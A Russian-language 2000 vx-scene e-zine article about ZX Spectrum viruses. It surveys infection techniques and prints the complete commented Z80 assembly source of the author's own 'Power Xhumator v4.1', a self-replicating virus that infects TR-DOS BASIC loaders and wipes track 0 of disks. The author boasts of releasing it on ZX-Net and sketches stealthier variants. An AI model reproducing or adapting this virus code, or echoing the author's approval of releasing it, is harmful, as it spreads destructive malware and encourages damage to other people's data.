_____ _____     ___
    _,┌\/┐  :░  :░     :░ ╓ social distortion all about vx-scene ╖
 ,4\┘¤"``"¤┘  ll  l¤`     ll  ::;;;::;;....  ....:;..: ::...;.:;;;:;
:░(_          |    ___    ll ._
 `└/|│S|/┐,_ |¤`┌\╙¤"¤╜/:: |╓,._  spectrum alive?! part 1 [2000]
_____ ``^"¤└/L, d7┘` ___  7l:;%%|.$|
$$$$|_ | `7;?( |asd| :: |$$$|$| by !mPeR!0 [PHG]
$$$$|/┌,.__,┌\:`4│/┐,_  _ll  ``''""¤¤┘┘
$$$$|`└/|││|\┘`   `¤└/│:


                    БАКТЕРИАЛЬНОЕ ОРУЖИЕ ;)
                    или ВИРУСЫ НА SPECTRUMе

                                                            (c) !mPeR!0^PHG

                        От автора

                                 Это все обман, я ваш царь, и один только я.
                               Люди, как звери, когда власть над миром дана,

                                                               Ария, "Обман"

   Для  начала  хочу сказать, что никакой я не вирмейкер.  Если я написал на
 Спеке  вирус,  пусть  даже  лучший, это  не  дает  мне права  считать  себя
 вимейкером. Просто я очень подлый :)

   Во-вторых,  я  никогда  особо  и  не  интересовался  вирусами  на  Спеке,
 поэтому  я  могу точно и не знать принципов их работы. И тем более  у  меня
 нет  никакого  желания  приводить  примеры исходников, ибо,  за   неимением
 таковых,  все  придется писать и тестировать  с  нуля,  а  время  - это  не
 только деньги, а еще и крепкое здоровье.

   В-третьих,  Спек  -  это  не  ПЦ,  он  не   имеет  столь развитой системы
 прерываний,  файловой  системы  (TR-DOS - это не система, а просто  большой
 глюк) и т.п.,  посему он не шибко годится для написания навороченных вирей.

   И  в-четвертых,  я  очень  давно  не писал серьезных статей и  привык  по
 большей  части  ударяться  в  лирику, поэтому читачу  придется смириться со
 стилем написания сего опуса.



                        Немного истории

                                                  Другая кровь, другие раны,
                                                      Совсем другие времена,
                                                                 Иные имена.

                                                      Ария, "Замкнутый круг"

   Началось  все дело годков так 5 назад. Я тогда был еще  совсем маленький,
 однако  уже  трохи  в  ASMе варил, поэтому адекватно воспринимал окружающую
 действительность. Ясно, что  как  во  всех  мало-мальски  сценовых городах,
 у  нас  были  типа  крЮтые  личности,  считающие   себя   пупом земли. Нам,
 наверное, повезло - у нас было аж  2  штуки.  Один из них, Andy Tacker, уже
 лет 5 продавал софт местному  населению,  а  другой, VfNG/NHG,  считал себя
 самым кул хацкером  на  Спеке.  Я  не знаю, чем первый  насолил второму, но
 второй решил сделать большую подлость.

   Подлость  эта  выразилась  в  написании  вируса  с целью занесения его  в
 лагерь  врага. Я не знаю, удалось ли это VfNG, но версий виря было дохрена,
 я видел только последнюю - 7.06, вроде.  Сам  вирус  был  написан  довольно
 коряво, но для ПЕРВОГО вируса  по  тем  временам  это  было  довльно круто.
 Опять же, я не утверждаю, что это был первый вирус, но вроде так...

   Молодой  и  неопытный  !mPeR!0,  то  бишь  я, кидается писать  антивирус.
 Антивируса  выходит  аж  3 версии,  каждая  из  которых  глючна  по-своему,
 но имея все 3 можно вполне успешно "убивать" вирь...

   Пару  месяцев  спустя  появляется  расейская игрушка Last  Батл  (обращаю
 внимание  хронических алконавтов - не Bottle, а Battle ;).  В   ней  торчит
 некое подобие вируса,  даже  не вируса,  а  просто кала,  увеличивающего  с
 каждым  запуском  счетчик  и  в скором времени делающего падлянку.  Говорят
 это  была типа защита от пиратства. Убиралась эта защита за пару минут.

   Проходит 3 года...

   К  концу  98 года  получает  охеренное  распространение  Zx-Net  и прочая
 лажа.  О вирусах ни слуху, ни духу (а может и были, но в крайнем  случае  я
 не  в  курсе).  После  долгой мудотни я пишу хитрожопый  вирь, дабы народ в
 Zx-Netе поменьше тащился. Версий было куча, но последняя,  4.1, выпускается
 на волю. Говорили, что шухер был неплохой :)

   Начиная  с  99  года в разных Спековских электронных  изданиях появляются
 статейки  разных тупорылых придурков о вирусах. Я не знаю,  как такое можно
 писать. Это  равносильно  тому, что  я  сел  бы писать о  методах  борьбы с
 грызунами.

   Осенью  99  года  кто-то  поднимает  тему  о  вирусах  в эхе ZX.SPECTRUM.
 Народу  отликается  мало, но  удается выудить  сорец примитивного overwrite
 вируса.  Я  его  даже  не  пускал,  просто  посмотрел  и  стер.  Тогда же я
 получаю от   модератора  [+]  за  то, что  залил   в   эху  свой  Xhumator.
 Модератор обещал еще по  [+]  за каждый испорченный диск, но жалоб вроде не
 поступало ;)...

   На  сегодняшний  день это,  пожалуй   все.   Если  я  что-то  упустил, то
 пардон - я ж не всевышний.



                        Разновидности вирусов, методы заражения,
                        а также много мата :(

                                                                Из интернета
                                                             В мой компьютер
                                                      Влез страшный вирус...

                                                         Урод дЭЦЫЛ и друзья

   1).  Тот  самый  первый  вирус, который был написан VfNG, и имел  кодовое
 название   "VIR",   что  в  очередной  раз   доказывало недалекость ума его
 создателя :)

   Этот  вирус  занимал   около  кила  свободного веса,  что  само  по  себе
 наталкивает   на  нехорошие  мысли.  Ладно,  если  на  ПЦ  NutCracker весит
 7 кил, так он и творит весчи, а здесь...

   Короче,  вирус  пытался  заразить  basic-файлы,   что   у   него  неплохо
 получалось.   При   заражении  исходный  basic  loader убивался,  становясь
 типа  стертым  файлом,  а модифицированный basic  loader  писался  в  конец
 диска.  В  начало  файла вирус вставлял что-то типа:

   1 RANDOMIZE USR XXXXX: код вируса
                     └─────^
     ... дальше идет прога

  и  изменял  соответственно  стартовую   строку  программы  на  "1".  После
 своего выполнения вирус восстаниваливал сдвинутую  прогу  на  свое  место и
 передавал ей выполнение.

   В  своем  теле  вирус  имел   счетчик,  который  увеличивался  с   каждым
 запуском зараженной проги и при достижении определенного  значения  нулевой
 трек на диске тихо убивался.

                          Недостатки:

   -  слишком  большая  длина  вируса (imho, откомпилив такое же  действо на
 каком Паскале, можно было бы получить меньший код);

   -   не   работоспосбность   и   галимоработоспособность  (я  не проверял,
 но могу это утверждать со 100% уверенностью) вируса на моноблочных  файлах.
 Дело  в  том,  что писался он для местного дистрибьютера,  у  которого  все
 проги  были  разбиты по файлам (загрузчик   отдельно,   картинка  отдельно,
 код  отдельно) ,  и   загрузчик   было   вполне   реально    заменить    на
 подъеб.чный;  с  появлением  моноблочных  прог,  где  все  висит   в  одном
 файле, который  может  иметь  размер   64  кила   и   загрузчик   длиной, к
 примеру,  112 байт, произвести его перезапись этому вирусу не по силенкам.


   2). Вирь из последнего батла (Last Battle).

   В  "readme"  по игрушке было написано грозное предупреждение,  что  типа,
 кто  имеет  шаровую  версию нашей игрушки, тот после  N-ного  количества ее
 запусков получит хрен с маслом, а не игру.

   Хрен  с  маслом   представлял  из   себя   загрузчик  игры, содержащий  2
 килобайта  каких-то  корявостей, впоследствии оказавшихся небольшим падлом.

   Падло  это  не  умело  распространяться, но ставило народ на счетчик  ;),
 который с каждым  запуском  игры  увеличивался, апосля  чего, делал  что-то
 нехорошее  (я  не дождался этого момента, а попросту выкосил эту дрянь).


   3).  Простенький  overwrite  вирус  (названия  не знаю, пролетал как-то в
 эхе ZX.SPECTRUM).

   Вирус представлял собой самостоятельный basic файл вида:

   10 RANDOMIZE USR XXXXX: код вируса
                      └─────^

   Алгоритм  его  действия  особо  умом не блестал и представлял собой нечто
 напоминающее:

   1. Ищем подходящую жертву.
   2. Если жертва найдена, то п.3, иначе убиваем нулевой трек.
   3. На место жертвы пишем себя, родимого.
   4. Вылетаем  на  Кудыкину  гору   (типа  прога запорчена и не
      запускается).

                          Недостатки:

   - неработоспособность  с моноблочными файлами  (эх, не любят их родимых);

   - дебильный overwrite. Пардон, но  убивание проги  при  заражении  -  это
 маразм.  Только  тупорылый юзер не заподозрит неладного.


   4). Вирусы, заражающие кодовые файлы.

   Я  конечно ни одного такого не видел, но зато слышал. Да  и не надо  быть
 особо умным, чтобы знать, как они работают.

   Естественно,  заразить  любой   кодовый  файл  -  это  нечто  из  области
 нереального.  Каждый из них имеет свой униКАЛьный адрес запуска, обнаружить
 который вирусу не под силу. Но  с появлением различных паковщиков картинок,
 вполне стало реальностью  заражать хотя бы эти самые  пакованные  картинки.
 Да в принципе  и  не только  картники  -  важно  найти  такой  тип  файлов,
 адрес запуска которого можно засечь по какому-нибудь признаку.

   Пример:   ежели   паковать   картинку   в   каком-нибудь  Laser Compactе,
 то   при  сохранении  ее  на  диск   пишется  файл  с  расширением  ".p"  -
 вот   это   уже   признак.  Можно   глядеть   начало   файла   на   предмет
 какого-нибудь   распаковщика  (если  файл запакованный).

   Далее можно пойти двумя путями:

   1. Убить старый файл  и записать новый  с  большей  длиной в  конец диска
 (а-ля "VIR").
   2. Использовать  под  себя  свободное место  в  последнем  секторе  файла
 (если оно есть).

   Далее влепляем в начало файла "JP на вирус" и все дела...

                          Недостатки:

   -  сейчас  довольно сложно найти лежащие на диске по  отдельности  файлы,
 которые можно так безбожно угробить, а ежели вести поиск  по  всему  диску,
 то это не заметит только человек со зрением ниже -7 ;)


   5).  Power  Xhumator.  Не  хочу  себя хвалить,  и  у моего творения  есть
 куча недостатков, но все же есть и преимущества.

   Вирус использует свободное место в последнем секторе файла. В отличии  от
 вирусов 4) он  не  трогает  кодовые  файлы, так  как  нынче  они  не  особо
 распространены, а насилует basic загрузчики.

   В  отличии от вирусов 1) он не перезаписывает зараженный  файл  в   конец
 диска и прекрасно работает, как  с   отдельными  загрузчиками,  так   и   с
 моноблоками.

   Алгоритм на крЮтость не претендует:

   1. Найти жертву.
   2. Если жертвы есть, то п.3, иначе убиваем нулевой трек.
   3. Заражаем ее.
   4. Продолжаем выполнять программу.

   Проверка на наличие жертвы представляет собой поиск  файлов,  у   которых
 размер  basic загрузчика не превышает 114 байт. Так как  вирус имеет  длину
 138  байт,  а  сектор  - 256, плюс  нам  надо оставить  еще  4 байта строки
 автозапуска basic файла, нам нужны именно такие файлы.

   Заражение проходит на двух стадиях:

   1. Запись вируса в файл.
   2. Поиск  обращения  к  TR-DOS (#3D13).  Если  таковое  найдено,  то  оно
 заменяется на стартовый адрес вируса.

   То  бишь,  независимо  от  того, есть обращение к TR-DOS, или нет,  вирус
 в прогу все равно вставит свои культи. Другое дело, что вызываться он будет
 только при наличии CALL (JP) #3D13.

   Имхо,  Xhumator  идеально  подходит  для моноблоков,  где  в 90%  случаев
 загрузчик  содержит  загрузку  последующего блока через #3D13.

                          Недостатки:

   - иногда в файлах вирь находит левые два байта #13 и #3D,  апосля   чего,
 при  их  замене  файл  херится (особенно не моноблоки),  но  пришлось  этим
 пожертвовать во имя уменьшения кода;

   - вирус  херит  альтернативные  регистры A',B',C',D',E',H',L'.  Tак   что
 иногда  это  дело  может привести к фатальным последствиям, если зараженная
 прога их использует, но опять же пришлось этим пожертвовать ради нескольких
 байт;

   - заражаемый  basic файл  не  может иметь  длину  больше  чем  8759  байт
 (длина   basic,   а  не  целого  моноблока)  -  опять  же оптимизация;

   - ну и еще несколько мелочей, которые стали причиной той же  оптимизации.

   Исходник  вируса трохи ниже. Так же, я  взял кусок своей  статьи, которую
 писал два года назад для нашей e-paper Impulse...



                        Power Xhumator v4.1

                      [ Cut from Impulse #3 ]

                                                 (c) !mPeR!0^PHG

    Народ,   предлагаю   Вашему   вниманию  исходник  вируса  под
 названием  Power  Xhumator  версии  4.1. Первоначально сей вирус
 занимал   #A3  байта  и  писался  вот  так,  от  балды.  Но  мне
 понравилась  идея  и  я  оптимизировал  код вируса до #8A байт и
 написал  даже  инсталляшку.  Что  он  творит?  А творит он самое
 подлое  -  гадит  0  трек на Ваших драгоценных дисках, и что еще
 подлее, так это то, что XHUM гадит 0 трек еще и на Ваших рабочих
 дисках.  Xhum встраивается в basic-лоадеры всевозможных прог, не
 превышающие #XX72 байт и ждет своего часа.

    Мало  того,  что  вирус способен самораспространяться; файлы,
 содержащие  вирус  inside,  могут  подвергаться  любому насилию,
 такому  как  копирование,  уплотнение,  транспортировка по почте
 и.т.д.  Конечно,  не  гарантирована  работоспособность вируса со
 100%  файлов,  но,  извините  меня,  это все-таки всего лишь #8A
 байт.

;---------------------------
;    Power Xhumator v4.1
; Special edition  4 Zx-Net
;
;     Koded & Optimized
;      by  !mPeR!0^PHG
;---------------------------

LEN     EQU     138

        ORG     #8000

        RST     56
        EXX                  ;меняем регистры на альтренативные
        DEC     SP
        DEC     SP
        POP     AF           ;получем адрес запуска вируса + 1
        EX      AF,AF'
        LD      HL,#C9F1     ;(*)
        LD      (23746),HL   ;(*)
        LD      DE,0         ;(*)
        LD      BC,#0905
        PUSH    HL
        PUSH    HL
        CALL    #3D13        ;чиатем 0 трек
        EX      (SP),HL
FIND    POP     AF           ;ищем жертву
        LD      A,(HL)
        POP     DE
        AND     A
        JR      Z,EXIT       ;жертв нет, диск можно убивать
        PUSH    DE
        LD      DE,4
        ADD     HL,DE
        ADD     HL,DE
        LD      A,(HL)       ;тип файла
        INC     HL
        LD      C,(HL)       ;длина.Lo
        PUSH    HL
        INC     HL
        LD      B,(HL)       ;длина.Hi
        ADD     HL,DE
        LD      E,(HL)       ;начальный сектор
        INC     HL
        LD      D,(HL)       ;начальный трек
        INC     HL
        CP      "B"
        JR      NZ,FIND      ;то не basic
        LD      A,C
        CP      253-LEN
        JR      NC,FIND      ;длины многовато будет
        POP     HL
        ADD     A,LEN        ;увеличиваем длину файла
        LD      (HL),A       ;на длину вируса
        LD      HL,#DD3B
        PUSH    BC
        PUSH    DE
        PUSH    HL
        PUSH    BC
        PUSH    BC
        PUSH    HL
        INC     B
        LD      C,5
        CALL    #3D13        ;читаем файл
        POP     HL
        POP     BC
        ADD     HL,BC
        PUSH    HL
        PUSH    HL
        EX      DE,HL
        LD      HL,LEN
        PUSH    HL
        ADD     HL,DE
        EX      DE,HL
        LDIR                 ;освобождаем место для вируса
        POP     BC
        POP     DE
        EX      AF,AF'
        PUSH    AF
        POP     HL
        DEC     HL
        LDIR                 ;всовываем код вируса
        POP     DE
        POP     BC
        LD      H,D
        LD      L,E
        RES     7,D
        LD      A,#3D
        CPDR                 ;ищем с конца файла #3D
        ADD     A,(HL)
        CP      #50
        JR      NZ,SAVE      ;это не #3D13

        LD      (HL),E       ;меняем #3D13 на адрес вируса
        INC     HL
        LD      (HL),D
SAVE    POP     HL
        POP     DE
        POP     BC
        INC     B
        LD      C,6
        CALL    #3D13        ;сохраняем файл на свое место
EXIT    POP     HL
        LD      DE,0         ;(*)
        LD      BC,#0906
        CALL    #3D13        ;сохраняем измененный нулевой трек

        EXX                  ;восстанавливаем регистры

        JP      #3D13        ;выполняем обращение к TR-DOS
                             ;(то, которое должна была выполнить
                             ;зараженная прога),

                      [ End cut ]



                        Реальные перспективы

                                                      Беги, беги за солнцем,
                                                         Сбивая ноги в кровь
                                                        Беги, беги, не бойся
                                               Играть судьбою вновь и вновь.

                                                     Ария, "Беги за солнцем"

   Особо  иллюзий  по поводу будущего у вирусов на Спеке строить  не  стоит.
 Пожалуй все они умерли, так особо и не появившись.  Ну,  а   что   касается
 моих  планов  и  Xhumatorа,  в  частности,  то  максимум, что можно выжать,
 так это вместо строк, помеченных (*) влепить что-то типа:

        LD      HL,#C000
        LD      E,L
        LD      D,L
        ...
        LD      E,L
        LD      D,L

 сэкономив  на  этом 2 байта, но  потеряв контроль  защиты  диска от записи.
 Или, что  возможно  я  как-нибудь  сделаю  -  уменьшение  на  1  количества
 позиционирований  головки   дисковода, что  еще меньше  будет  обращать  на
 себя  внимание.  Вместо  последовательности  "зараженный   файл -> чтение 0
 трека -> заражение нового файла -> запись  0  трека  ->  зараженный   файл"
 будет последовательность  "зараженный  файл  ->  чтение+запись  0 трека  ->
 заражение нового файла -> зараженный файл".

   Есть  еще  идея использовать нестандартный  формат 8  сектора 0  трека  и
 всунуть  вирус  туда,  тогда  он будет выполняться при  каждом  обращении к
 диску  из  TR-DOS.  Правда,  это  дело  легко  будет засекаться, но идея-то
 какова! ;)

   Вот,  такие  дела.  Для связи  со мной (интим не предлагать ;) пользуйте:

                        [email protected]
                     2:454/7.120 Pavel Demchuk

 PS: Вполне возможно, что,  неся весь  этот бред,  я упустил что-то  важное.
     Я даже уверен, что что-то упустил. Я, в принципе, на память не жалуюсь,
     но  сами  поймите,  что  регенерация  у нее не а-ля микрушной. Так что,
     народ, звиняйте.


                                                        (x) 2000 !mPeR!0^PHG